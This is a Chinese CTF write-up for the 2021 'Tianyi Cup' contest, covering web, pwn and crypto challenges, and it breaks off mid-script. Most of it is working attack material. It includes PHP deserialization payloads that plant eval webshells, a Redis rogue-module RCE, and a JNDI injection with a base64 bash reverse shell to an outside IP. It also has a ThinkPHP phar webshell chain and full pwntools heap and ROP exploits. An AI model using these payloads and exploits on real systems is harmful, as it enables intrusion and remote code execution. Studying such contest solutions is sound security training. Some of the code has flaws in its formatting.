zoukankan      html  css  js  c++  java
  • 2021第二届“天翼杯”网络安全攻防大赛writeup

    Web

    1.esay_eval

    <?php   
    class A{   
        public $code = "";   
        function __call($method,$args){   
            eval($this->code);   
               
        }   
        function __wakeup(){   
            $this->code = "";   
        }   
    }   
      
    class B{   
        function __destruct(){   
            echo $this->a->a();   
        }   
    }   
    if(isset($_REQUEST['poc'])){   
        preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);   
        if (isset($ret[1])) {   
            foreach ($ret[1] as $i) {   
                if(intval($i)!==1){   
                    exit("you want to bypass wakeup ? no !");   
                }   
            }   
            unserialize($_REQUEST['poc']);       
        }   
      
      
    }else{   
        highlight_file(__FILE__);   
    }


    简单分析一下主要绕过那个__wakeup函数就可以rce了

    关于preg_match_all这个函数看这篇文章php preg_match_all()函数介绍与用法 - 飞鸟慕鱼博客 (feiniaomy.com)

    最后要让$ret[1]里面的两个变量都等于1,因为他后面还有个intval($i)!==1的限制,(这个用大小写绕过就行了,因为php的变量名区分大小写,函数名、方法名、类名不区分大小写。)因为必须要绕过wakeup,所以用小写不让preg_match_all两个都匹配,放出来一个去绕过wakeup就可以了。

    构造payload

    <?php

    class A{

        public $code = "";

        public function  __construct(){

            $this->code = "eval(\$_POST[1]);";

        }

    }

     

    class B{

        public function  __construct(){

            $this->a = new A();

        }

    }

    echo serialize(new B());

    $前面加\是怕序列化的时候执行了变成这样

    得到O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},把A改为小写,即可修改后面数字来绕过
    即O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},连接蚁剑拿到shell

    代码审计,直接反序列化构造一句话木马

    小写对象a绕过

    payload
    ?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[0]);";}}

    蚁剑连接发现有disable_function,试了下蚁剑自带的bypass无果,然后在网站根目录发现了 有 config.php.swp vi-r 解一下发现 redis 密码

     github 上有 redis rce 的恶意 so 文件上传到 tmp 目录下然后用蚁剑 redis 插件加载恶意模块rce


    Redis加载恶意so获取shell

    蚁剑找到了一个config,恢复一下


    下载下来丢到linux用vi恢复

    vi -r config.php

    这个redis密码看着太像假的了,但就是真的,用蚁剑的redis插件连接

    接着就是打redis,在phpinfo发现有open_basedir,有个tmp还能用,那就把恶意so传上去

    https://github.com/Dliv3/redis-rogue-server

    直接用蚁剑

    使用redis插件连接redis

    127.0.0.1:6379> module load /tmp/exppadding.so

    OK

    127.0.0.1:6379> system.exec "id"

    "uid=0(root) gid=0(root) groups=0(root)\n

    附上本地环境“:
    FROM ubuntu:16.04

    COPY src/sources.list /etc/apt/sources.list
    COPY src/redis-4.0.9 /home/redis-4.0.9

    RUN apt-get update && \
        apt-get install -y curl \
                software-properties-common \
                python3-software-properties \
                python-software-properties \
                unzip \
                vim

    RUN apt-get install -y apache2
    RUN service apache2 restart

    RUN locale -a
    RUN export LANG=C.UTF-8 && \
        add-apt-repository ppa:ondrej/php && \
        apt-get update

    RUN apt-get install -y libapache2-mod-php7.0 \
                            libzend-framework-php \
                            php7.0-cli \
                            php7.0 \
                            php7.0-bcmath \
                            php7.0-bz2 \
                            php7.0-cgi \
                            php7.0-common \
                            php7.0-fpm \
                            php7.0-gmp \
                            php-http \
                            php-imagick \
                            php7.0-intl \
                            php7.0-json \
                            php7.0-mbstring \
                            php-memcache \
                            php-memcached \
                            php7.0-mysql \
                            php7.0-recode \
                            php7.0-gd \
                            php7.0-mcrypt \
                            php7.0-xml \
                            php7.0-pdo \
                            php7.0-opcache \
                            php7.0-curl \
                            php7.0-zip

    RUN apt install -y gcc \
               make

    RUN cd /home/redis-4.0.9 &&\
        cp -r /home/redis-4.0.9 /usr/local/redis &&\
        cd /usr/local/redis    &&\
        make && make PREFIX=/usr/local/redis install &&\
        export REDIS_HOME=/usr/local/redis &&\
        export PATH=$PATH:$REDIS_HOME/bin


    COPY src /tmp/src
    RUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini &&\
        rm -rf /var/www/html &&\
        mv /tmp/src/html /var/www/html &&\
        mv /tmp/src/start.sh /start.sh &&\
        chmod +x /start.sh

    EXPOSE 80

    CMD ["/start.sh"]

    其中web.ini就是php的配置文件,可以在里面设置disable_function等

    2.jackson

    原题不说了嗷

    https://www.redmango.top/article/61#javaweb

    先看题目给的pom.xml

    有shiro1.5.1,cc3.2.1题目名字叫jackson

    那么应该就是shiro验证绕过访问路由通过jackson反序列化打cc链

    发现有json路由需要登陆通过/;/json绕过

    那么就直接上工具:https://github.com/welk1n/JNDI-Injection-Exploit

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "47.100.27.114" -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwODggMD4mMQ==}|{base64,-d}|{bash,-i}'
    或者

    看到pom.xml里面的框架版本可以想到CVE-2020-1957

    2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

    jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制4

    POST /;/json HTTP/1.1
    Host: 8.134.37.86:20947
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/json
    Content-Length: 97
    ["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://106.15.250.209:8091/a
    bc"}]

    Nc得到了反弹,直接获取根目录的flag即可



    3.ezTP

    通过robots.txt 得到www.zip 源代码:


    目录结构:

    很明显的TP框架 查看版本得到:5.0.10

    一开始尝试TP框架的RCE,无果。遂放弃

    然后查看Controller有一个index和admin:

    Admin控制器:


    Index控制器:

    看起来 好像没什么问题。

    但是可以看到,必须要登录admin才可以进行admin控制器里面的上传和列目录操作

    故肯定是要注入,百度搜索到了

    该版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html

    注入登录admin账户:

    然后查看admin控制器的listdir 可以发现is_dir函数是可以触发phar反序列化的。

    参考:https://www.anquanke.com/post/id/251318#h2-1

    但是会发现使用如上链接的poc,与网上的poc均不可用。

    本地搭建环境调试了一下,发现:

    Process.php的close方法:

    与原来的tp框架不一样,多增加了一个if来过滤,因为原本的 HasMany 类并没有close方法,导致没办法调用$this->processPipes->close()方法,就无法进行下面的反序列化写文件RCE了,所以网上的POC就会没用。

    现在需要做的是需要一个close方法的类,并且内部需要调用成员变量的close方法。

    这样就可以绕过过滤,并且可以继续反序列化。

    在这里我找到了Memcache类,

    只要将原来的链子 接入到$this->handler 变量里面去,就可以继续下去反序列化了。

    但是通过调试:

    这个path路径,写下去找不到文件。所以我改成了绝对路径,写到public目录下

    反序列化POC:

    <?php
    namespace think;
    use think\session\driver\Memcache;
    class Process
    {
        private $processPipes;

        private $status;

        private $processInformation;
        public function  __construct(){
            $this->processInformation['running']=true;
            $this->status=3;
            $this->processPipes=(new Memcache(1));
        }

    }
     namespace think;
     class Model{

     }
     namespace think\model;

     use think\Model;
     class Merge extends Model{
         public $a='1';
         public function __construct()
    {
         }
     }
     
    namespace think\model\relation;
    use think\console\Output;
    use think\db\Query;
    use think\model\Merge;
    use think\model\Relation;
    class HasMany extends Relation
    {
        //protected $baseQuery=true;
        protected $parent;
        protected $localKey='a';
        protected $foreignKey='a';
        protected $pivot;
        public function __construct(){
            $this->query=new Output();
            $this->parent= new Merge();

        }
    }

    namespace think\model;
    class Relation
    {}
    namespace think\db;
    class Query{}


    namespace think\console;
    class Output{
        protected $styles = [
            'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning',
            'getTable',
            'where'
        ];
        private $handle;
        public function __construct()
    {
            $this->handle = (new \think\session\driver\Memcache(0));
        }
    }
    namespace think\session\driver;
    class Memcache
    {
        protected $handler;
        public function __construct($i)
    {
            
        if($i==0){
          $this->handler = (new \think\cache\driver\Memcached(0));
          
        }else{
          $this->handler = (new \think\model\relation\HasMany);
        }
        }
    }


    namespace think\cache\driver;

    class Memcached
    {
        protected $tag;
        protected $options;
        protected $handler;

        public function __construct($i)
    {
            if($i==0){
          $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
            ];
            $this->handler = (new File);
        }
        }
    }

    class File
    {
        protected $tag;
        protected $options;
        public function __construct()
    {
            $this->tag = false;
            $this->options = [
                'expire'        => 3600,
                'cache_subdir'  => false,
                'prefix'        => '',
                'data_compress' => false,
                'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
            ];
        }
    }

    $o = new \think\Process();

    $phar = new \Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stubb
    $phar->setMetadata($o); //将自定义的meta-data存入manifest里
    $phar->addFromString("test.txt", "test"); // 添加要压缩的文件
    $phar->stopBuffering(); // 签名自动计算

    需要添加GIF89A 头来绕过检测图片格式。

    保存jpg上传头像,然后:

    http://8.134.37.86:24954/public/?

    s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg

    最后访问shell 拿flag:





    PWN

    1.chaos

    首先是一个输入,输入完之后逻辑比较长,我们一点一点分析。
    首先是一个大的while循环。
    while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
      {
        if ( v8 <= 5 )
          *((_QWORD *)&unk_202060 + 2 * v8) = a1;
        sb = strchr(a1, 58);
        if ( !sb )
        {
          puts("error.");
          exit(1);
        }
        *sb = 0;
        for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
          *sc = 0;
        if ( !*sc )
        {
          puts("abort.");
          exit(2);
        }
        if ( v8 <= 5 )
          qword_202068[2 * v8] = sc;
        sd = strchr(sc, 10);
        if ( !sd )
        {
          puts("error.");
          exit(3);
        }
        *sd = 0;
        a1 = sd + 1;
        if ( *a1 == 13 )
          *a1++ = 0;
        s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8);
        nptr = (char *)qword_202068[2 * v8];
        if ( !strcasecmp(s1, "opcode") )
        {
          if ( v7 )
          {
            puts("error.");
            exit(5);
          }
          v7 = atoi(nptr);
        }
        else
        {
          if ( strcasecmp(s1, "passwd") )
          {
            puts("error.");
            exit(4);
          }
          if ( strlen(nptr) <= 1 )
          {
            puts("error.");
            exit(5);
          }
          v9 = strlen(nptr) - 1;
          if ( dest )
          {
            puts("error.");
            exit(5);
          }
          dest = calloc(v9 + 8, 1uLL);
          if ( v9 <= 0 )
          {
            puts("error.");
            exit(5);
          }
          memcpy(dest, nptr, v9);
        }
        ++v8;
      }
    说白了就是对我们的输入进行要求,要求
    opcode:1就是功能1,然后功能里面有密码,需要用passwd来
    用功能1举例,完整的一个create输入是
    “opcode:1\npasswd:Cr4at3a\n”
    那我们再来看功能
    create
    需要一个大小,最大0x208,创建的chunk是0x210,最后两个QWORD分别是大小跟一个指针。
    这个指针会把我们所有的chunk串起来,构成一个单链表的状态,链表头放在bss
    有漏洞,在哪?
    在我们写的时候居然可以把size覆盖掉,第一次覆盖掉,第二次就可以溢出。
    edit

    show

    delete

    剩下三个函数就平平无奇。
    我们就利用那个溢出,首先泄露libc,之后直接攻击tcache打free_hook就好啦

    Vulnerability:

    00000000 node            struc ; (sizeof=0x211, mappedto_8)
    00000000 field_0 db 512 dup(?)
    00000200 size dd ?
    00000204 field_204 dd ?
    00000208 next dq ? ; offset
    00000210 field_210 db ?
    00000211 node ends

    As above, it set the size to 0x208 over the length of buf. So it follows that we can result in heap overflow.

    void __fastcall add(const char *a1)
    {
    int size; // [rsp+14h] [rbp-2Ch]
    node *buf; // [rsp+18h] [rbp-28h]
    node *tmp_link; // [rsp+20h] [rbp-20h]
    char s[12]; // [rsp+2Ch] [rbp-14h] BYREF
    unsigned __int64 v5; // [rsp+38h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    if ( strcmp(a1, "Cr4at3") )
    {
    puts("error.");
    exit(5);
    }
    printf(">>> ");
    memset(s, 0, sizeof(s));
    read(0, s, 0xBuLL);
    size = atoi(s);
    if ( size <= 0 || size > 0x208 )
    {
    puts("error.");
    exit(5);
    }
    buf = (node *)malloc(0x210uLL);
    buf->next = 0LL;
    tmp_link = node_link;
    node_link = buf;
    buf->next = tmp_link;
    buf->size = size;
    printf(">>> ");
    read(0, buf, (unsigned int)buf->size);
    }

    Exploit:

    1.leak2.hijack hook3.get shell

    #!/usr/bin/python3
    # -*- coding:utf-8 -*-

    from pwn import *
    import os, struct, random, time, sys, signal

    context.arch = 'amd64'
    # context.log_level = 'debug'
    # sh = process('./chaos')
    sh = remote('8.134.97.12', 25036)


    def add(content):
    sh.sendlineafter(b'>>> ', b'opcode:1\npasswd:Cr4at3 \n')

    sh.sendafter(b'>>> ', b'520')
    sh.sendafter(b'>>> ', content)

    def show(offset):
    sh.sendlineafter(b'>>> ', b'opcode:2\npasswd:SH0w \n')
    sh.sendafter(b'>>> ', str(offset).encode())

    def edit(offset, content):
    sh.sendlineafter(b'>>> ', b'opcode:3\npasswd:Ed1t \n')
    sh.sendafter(b'>>> ', str(offset).encode())
    sh.sendafter(b'>>> ', content)

    def delete(offset):
    sh.sendlineafter(b'>>> ', b'opcode:4\npasswd:D3l4te \n')
    sh.sendafter(b'>>> ', str(offset).encode())

    for i in range(9):
    add(b'a')
    for i in range(9):
    delete(0)
    for i in range(7):
    add(b' ')

    add(b'b' * 8)
    show(0)
    sh.recvuntil(b'bbbbbbbb')
    libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x3ebeb0
    success('libc_addr: ' + hex(libc_addr))

    for i in range(8):
    delete(0)
    add(b' ')
    add(b' ')
    delete(0)

    edit(0, b'\0' * 0x200 + p32(0x1000))
    edit(0, b'\0' * 0x200 + p64(0x1000) + b'\0' * 0x38 + p64(libc_addr + 0x3ed8e8 - 8))
    add(b' ')
    add(b'/bin/sh\0' + p64(libc_addr + 0x4f550))
    delete(0)

    sh.interactive()

    # flag{Arb1Tr4ry_Re4d_Wr1t3_1n_L1nkl1st}
    # flag{c6MsFlPDHqkb0mAr2oeTV4UuCLNB7KOv}

    2.ezshell

    逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,绕过一些检查,开了沙箱,最后执行它。
    一点一点来,首先我们输入shellcode之后函数__ctype_b_loc函数是干嘛的?
    我们去读源码,在ctype/ctype.h
    #ifndef _ISbit
    /* These are all the characteristics of characters.
       If there get to be more than 16 distinct characteristics,
       many things must be changed that use `unsigned short int's.

       The characteristics are stored always in network byte order (big
       endian).  We define the bit value interpretations here dependent on the
       machine's byte order.  */

    # include <bits/endian.h>
    # if __BYTE_ORDER == __BIG_ENDIAN
    #  define _ISbit(bit)    (1 << (bit))
    # else /* __BYTE_ORDER == __LITTLE_ENDIAN */
    #  define _ISbit(bit)    ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
    # endif

    enum
    {
      _ISupper = _ISbit (0),    /* UPPERCASE.  */
      _ISlower = _ISbit (1),    /* lowercase.  */
      _ISalpha = _ISbit (2),    /* Alphabetic.  */
      _ISdigit = _ISbit (3),    /* Numeric.  */
      _ISxdigit = _ISbit (4),    /* Hexadecimal numeric.  */
      _ISspace = _ISbit (5),    /* Whitespace.  */
      _ISprint = _ISbit (6),    /* Printing.  */
      _ISgraph = _ISbit (7),    /* Graphical.  */
      _ISblank = _ISbit (8),    /* Blank (usually SPC and TAB).  */
      _IScntrl = _ISbit (9),    /* Control character.  */
      _ISpunct = _ISbit (10),    /* Punctuation.  */
      _ISalnum = _ISbit (11)    /* Alphanumeric.  */
    };
    #endif /* ! _ISbit  */
    意思就是将我们输入的字符,根据
    ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
    进行处理,然后根据下面对应的进行返回。
    我们稍加分析之后会得到一个表。
    所以要求我们&0x4000不等于0的意思就是要求的是可见字符,这个简单,我们最后的shellcode用ae64处理一下就可以了。
    继续往下读,会有两个prctl。
    第一个我们经常见,很熟悉,就是把execve给ban掉而已。
    第二个很有意思,它会不让我们dump信息以及不给我们调试。
    就是我们gdb调试调到那一步会直接崩掉
    seccomp-tools dump ./binary也会崩掉。
    虽然说我们可以用进入root权限避免这个事情,但是在我们用gdb.attach去进行调试的时候还是会有很多问题,我们无法在root权限下调试。
    所以我们在这里考虑直接将程序的那一句给patch掉。
    非常牛,省的它麻烦我们。
    然后就可以正常看看沙箱干了点啥。
    沙箱显示呢我们的系统调用只有两个,open跟read,而且read有条件,fd必须大于等于4.
    我们分开解决,首先解决没有write的问题。
    在蓝帽杯决赛的silent跟强网杯的shellcode中都有过这个问题,我们就是简单的利用侧信道攻击,说白了就是通过爆破,当我们把flag读出来之后,我们一个字符一个字符去进行爆破比较,如果命中,就跳进死循环,如果跳进死循环,检测出来,就证明我们命中,从而进行爆破。
    但是这有引出一个问题,我们命中的话就跳进死循环,那没命中呢?
    如果直接不管,那个它也会卡住,会被程序认为命中,如果我们调用exit,但是沙箱不允许我们那样做,怎么处理这个问题?
    我们只要利用沙箱并不让我做这个事情解决,我们就来一个不让做的系统调用,他会报错,Bad system call。
    然后结束程序,那么我们的要求就达到了。
    还有一个问题,就是read函数fd的问题,这个就好解决了,我们只要把flag文件多开几次就好啦。

    Run shellcode

    #!/usr/bin/python3
    # -*- coding:utf-8 -*-

    from pwn import *
    import os, struct, random, time, sys, signal

    context.arch = 'amd64'
    context.log_level = 'error'
    # sh = process('./ezshell')
    sh = remote('8.134.37.86', 28310)

    shellcode = asm('''
    xor eax,eax
    push rax
    mov rax, 0x67616c66 ;// flag
    push rax
    mov rdi, rsp
    xor esi, esi
    xor eax, eax
    mov al, 2
    syscall

    xor eax,eax
    push rax
    mov rax, 0x67616c66 ;// flag
    push rax
    mov rdi, rsp
    xor esi, esi
    xor eax, eax
    mov al, 2
    syscall

    xor eax,eax
    push rax
    mov rax, 0x67616c66 ;// flag
    push rax
    mov rdi, rsp
    xor esi, esi
    xor eax, eax
    mov al, 2
    syscall

    xor eax,eax
    push rax
    mov rax, 0x67616c66 ;// flag
    push rax
    mov rdi, rsp
    xor esi, esi
    xor eax, eax
    mov al, 2
    syscall

    xor eax,eax
    push rax
    mov rax, 0x67616c66 ;// flag
    push rax
    mov rdi, rsp
    xor esi, esi
    xor eax, eax
    mov al, 2
    syscall

    loop1:
    test rax, rax
    js loop1

    mov edi, eax
    xor eax, eax
    mov rsi, rsp
    mov edx, 0x01010101
    syscall

    xor eax, eax
    xor ebx, ebx
    mov al, %d
    mov bl, [rsp+rax]
    sub bl, %d
    loop2:
    test rbx, rbx
    jz loop2
    int3
    ''' % (int(sys.argv[1]), int(sys.argv[2])))
    open('./shellcode', 'wb').write(shellcode)


    encode_shellcode = os.popen('cd alpha3; python2 ALPHA3.py x64 ascii mixedcase rdx --input=../shellcode ;')

    sh.sendafter(b'shellcode?\n', encode_shellcode.read())

    now = time.time()
    sh.recvrepeat(5)
    diff = time.time() - now
    if(diff > 4):
    print('yes')
    # flag{Orpwn2jARhxISTsEvzuY1lVZa8WCXkb5}
    或者
    from pwn import *
    from ae64 import AE64

    # p = remote("8.140.177.7", 40334)
    context(os="linux", arch="amd64")
    #context.log_level = "debug"
    context.terminal= ['tmux','splitw','-h']
    map_addr = 0x10000
    flag_addr = 0x10100


    def exp(offset, ch):
        code = asm(
            """
            push 0x67616c66
            mov rdi, rsp
            xor edx, edx
            xor esi, esi
            push SYS_open
            pop rax
            syscall
            push SYS_open
            pop rax
            syscall
            push SYS_open
            pop rax
            syscall
            push SYS_open
            pop rax
            syscall
            xor eax, eax
            push 6
            pop rdi
            push 0x50
            pop rdx
            mov rsi, 0x10100
            syscall
            mov dl, byte ptr [rsi+{}]
            mov cl, {}
            cmp cl, dl
            jz loop
            mov al,231
            syscall   
            loop:
            jmp loop
            """.format(offset, ch)
        )
        obj = AE64()
        sc = obj.encode(code,'rdx')
        print sc
        p.recvuntil("Are you a master of shellcode?\n")
        p.send(sc)

    flag = ""
    for i in range(len(flag),50):
        sleep(1)
        log.success("flag : {}".format(flag))
        for j in range(0x100):
            p = process('./chall')
            try:
                exp(i,j)
                p.recvline(timeout=1)
                flag += chr(j)
                p.send('\n')
                log.success("{} pos : {} success".format(i,chr(j)))
                log.success(flag)
                p.close()
                break
            except:
                p.close()


    3.overheap

    Vulnerability:

    Just off-by-null, as we can be seen from the challenge hint.

    Exploit:

    1.leak libc and heap address information2.chunk overlap3.hijack stdout to leak stack address information4.hijack stack5.ROP and run shellcode

    The remote server can't fork process to be not able to execute the function system().

    #!/usr/bin/python3
    # -*- coding:utf-8 -*-

    from pwn import *
    import os, struct, random, time, sys, signal

    context.arch = 'amd64']
    # context.log_level = 'debug'
    # sh = process('./overheap')
    sh = remote('8.134.51.71', 22213)
    def add(size):
    sh.sendlineafter(b'>> ', b'1')
    sh.sendlineafter(b'Size:', str(size).encode())

    def show(index):
    sh.sendlineafter(b'>> ', b'2')
    sh.sendlineafter(b'id:', str(index).encode())

    def edit(index, content, raw=False):
    sh.sendlineafter(b'>> ', b'3')
    sh.sendlineafter(b'id:', str(index).encode())
    if(raw):
    sh.sendafter(b'Content:', content)
    else:
    sh.sendlineafter(b'Content:', content)

    def delete(index):
    sh.sendlineafter(b'>> ', b'4')
    sh.sendlineafter(b'id:', str(index).encode())

    add(0x18)
    add(0x500)
    add(0x18)
    add(0x510)
    add(0x18)
    delete(1)
    delete(3)
    add(0x600)
    add(0x500)
    show(3)

    result = u64(sh.recvn(8))
    libc_addr = result - 0x2190f0
    success('libc_addr: ' + hex(libc_addr))
    heap_addr = u64(sh.recvn(8)) - 0x7e0
    success('heap_addr: ' + hex(heap_addr))
    add(0x510)

    add(0xf8)
    add(0x590)
    edit(7, b'\0' * 0x4f0 + p64(0x21) * 14)
    edit(6, p64(0) + p64(0xf1) + p64(heap_addr + 0x1340) + p64(heap_addr + 0x1340) + b'\0' * 0xd0 + p64(0xf0), 1)
    delete(7)
    add(0x68)
    add(0x68)
    delete(8)
    delete(7)

    stdout = libc_addr + 0x219760

    environ = libc_addr + 0x220ec0

    next_key = ((heap_addr + 0x1000) >> 0xc) ^ (stdout)
    edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key))
    add(0x68)
    add(0x68)
    add(0x68)
    edit(8, p64(0xfbad2887|0x1000) + p64(0) * 3 + p64(environ) + p64(environ+8) * 2)

    stack_addr = u64(sh.recvn(8))
    success('stack_addr: ' + hex(stack_addr))

    delete(9)
    delete(7)

    offset = +0
    next_key = ((heap_addr + 0x1000) >> 0xc) ^ ((stack_addr-0x180 + offset)&(~0xf))
    edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key))
    add(0x68)
    add(0x68)

    layout = [
    libc_addr + 0x000000000002e6c5, #: pop rdi; ret;
    stack_addr & ~(0xfff),
    libc_addr + 0x0000000000030081, #: pop rsi; ret;
    0x2000,
    libc_addr + 0x00000000001221f1, #: pop rdx; pop r12; ret;
    7,0,
    libc_addr + 0x0000000000049f00, #: pop rax; ret;
    3,
    libc_addr + 0x000000000008139b, #: add eax, edx; ret;
    libc_addr + 0x0000000000095186, #: syscall; ret;
    stack_addr-0xc0,
    ]

    shellcode = asm('''
    ;// mov rax, 0x7478742e67616c66 ;// flag.txt
    ;// mov rax, 0x67616c662f ;// /flag
    mov rax, 0x67616c66 ;// flag
    push 0
    push rax
    mov rdi, rsp
    xor esi, esi
    mov eax, 2
    syscall

    cmp eax, 0
    js fail

    mov edi, eax
    mov rsi, rsp
    add rsi, 0x200
    push rsi
    mov edx, 100
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov eax, 1
    pop rsi
    mov edi, eax
    syscall ;// write

    jmp exit

    fail:
    mov rax, 0x727265206e65706f ;// open error!
    mov [rsp], rax
    mov eax, 0x0921726f
    add eax, 0x01000000
    mov [rsp+8], rax
    mov rsi, rsp
    mov edi, 1
    mov edx, 12
    mov eax, edi
    syscall ;// write


    exit:
    xor edi, edi
    mov eax, 231
    syscall
    ''')

    edit(9, p32(0) + p32(0x1f8) + p8((stack_addr-0x150 + offset) & 0xff) + b'a' * 0x7 +
    p64(libc_addr + 0x000000000002c7a9) + p64(libc_addr + 0x000000000002e6c5) + p64(libc_addr + 0x1dbc3a) + p64(libc_addr + 0x644b0) + flat(layout) + shellcode)

    sh.interactive()
    # flag{icOpmxhuFMAjgbQkKb7dgSjUrlx0KfNk}



    Crypto

    1.TryHash

    本题密码算法的设计漏洞其实在于其轮函数f的设计。具体来说其轮函数具有较差的差分性质。

    def g(self,v1,v2,x):  

        value = (v1+v2+x)%256  

        value = ((value<<3) | (value>>5)) &0xff  

        return value  

      

    def f(self,value):  

        v1,v2 = unpack('>2B',pack('>H',value))  

        v2 = self.g(v1,v2,1)  

        v1 = self.g(v1,v2,0)  

        value = unpack('>H',pack('>2B',v1,v2))  

        return value[0]  

    具体来说,通过数学推导,我们可以发现,对于f来说,当其两个输入的差分为0x8080时,其输出差分100%是0x400。根据这一差分性质,我们可以对该加密算法进行差分分析攻击。差分分析的具体原理可以参考这个blog http://www.theamazingking.com/crypto-feal.php

    我们以对最后一轮加密(即第3轮)进行攻击为例,介绍攻击的流程。

    我们构造两个特殊的输入 (L0,R0)和 (L0’,R0’)其中 L0 = L0‘, R0 = R0’^0x8080,让服务器加密,得到加密结果 (L3,R3),(L3’,R3’).通过对该加密算法的推导,我们可以得到关于第3轮轮函数f的运算关系。

    f(round3_key^L0)  = out1   

       f(round3_key^L0') = out2  

       out1^out2 = R0^L0^R0'^L0'^0x400  

    其中,只有round3_key是未知的,其他参数都是已知的。round3_key的大小为2个字节,完全可以通过爆破来得到正确的解。这样我们就把对于整个key的求解,拆分到对于轮密钥的求解,爆破复杂度从 2^64降低到了 2^16

    需要注意的是对于一组明密文对,可能有多个符合关系的解,我们可以同时对多组明密文对进行求解,来过滤掉错误的解。

    依次类推,可以用相似的方法得到第1,2,3轮的轮密钥。有了这三轮的轮密钥后,可以通过逆运算很块的求解出第0轮的密钥,最终恢复出整个密钥。

    完整解题脚本

    from pwn import *
    from gmpy2 import *
    from hashlib import sha256
    from ctypes import *
    from Crypto.Util.number import *

    def encrypt(text,key):
    text=[text[i:i+16:] for i in range(0,len(text),16)]
    delta=0x9e3779b9
    s=c_uint32(0)
    ct=[]
    for t in text:
    t0=c_uint32(int(t[0:8],16))
    t1=c_uint32(int(t[8:16],16))
    for i in range(32):
    s.value=(s.value+delta)
    t0.value+=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1])
    t1.value+=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3])
    ct.append(hex((t0.value<<32)|t1.value))
    return ct

    def decrypt(ctext,key):
    ctext=[ctext[i:i+16:] for i in range(0,len(ctext),16)]
    s=c_uint32(0)
    delta=0x9e3779b9
    s.value=delta<<5
    mt=[]
    for t in ctext:
    t0=c_uint32(int(t[0:8],16))
    t1=c_uint32(int(t[8:16],16))
    for i in range(32):
    t1.value-=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3])
    t0.value-=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1])
    s.value-=delta
    m=((t0.value<<32)|t1.value)
    mt.append(hex(m))
    return mt

    s = remote("8.134.37.86",21146)
    s.recvuntil("XXX+")
    a = s.recvuntil(")")
    la = a[:-1]
    s.recvuntil("==")
    a = s.recvuntil("\n")
    a = a[1:-1]
    print(la,a)
    strs='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    def get():
    for i in range(64):
    for j in range(64):
    for k in range(64):
    for l in range(64):
    t = strs[i]+strs[j]+strs[k]+strs[l]
    m = t + la.decode()
    p = sha256()
    p.update(m.encode("UTF-8"))
    d = p.hexdigest()
    if a.decode() in d:
    return t
    ans = get()
    print(ans)
    s.sendline(ans)

    s.recvuntil(b"ce:")
    s.sendline(b"0")
    s.recvuntil("for you")
    s.sendline(b"Iamthesuperadmim")

    strs=s.recvline()
    c = bytes_to_long(strs[:-1])
    c = hex(c)[2:]
    c += (8-(((len(c)-1)%8)+1))*'0'

    key = hex(bytes_to_long(b"Iamthesuperadmim"))[2:]
    key=[int(key[i:i+8],16) for i in range(0,len(key),8)]
    m=decrypt(c,key)
    print(m[-1])

    c = m.pop()[2:]
    c += (8-(((len(c)-1)%8)+1))*'0'
    key = hex(bytes_to_long(b"Iamthesuperadmin"))[2:]
    key=[int(key[i:i+8],16) for i in range(0,len(key),8)]

    m=encrypt(c,key)
    m = m.pop()
    print(m)

    s.recvuntil(b"ce:")
    s.sendline(b"1")
    s.recvuntil(b"?")
    s.sendline(long_to_bytes(eval(m)))
    print(s.recvline())
    或者
    from ctypes import c_uint32 as uint32
    delta = 0x9E3779B9
    sm, delta = uint32(0), uint32(delta)
    for i in range(32):
        sm.value += delta.value
    print(hex(sm.value))
    #0xc6ef3720

    from pwn import *
    from ctypes import *
    from hashlib import sha256
    from ctypes import c_uint32 as uint32
    from struct import pack, unpack
    def Pow(end, sha):
        table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
        for a in table:
            for b in table:
                for c in table:
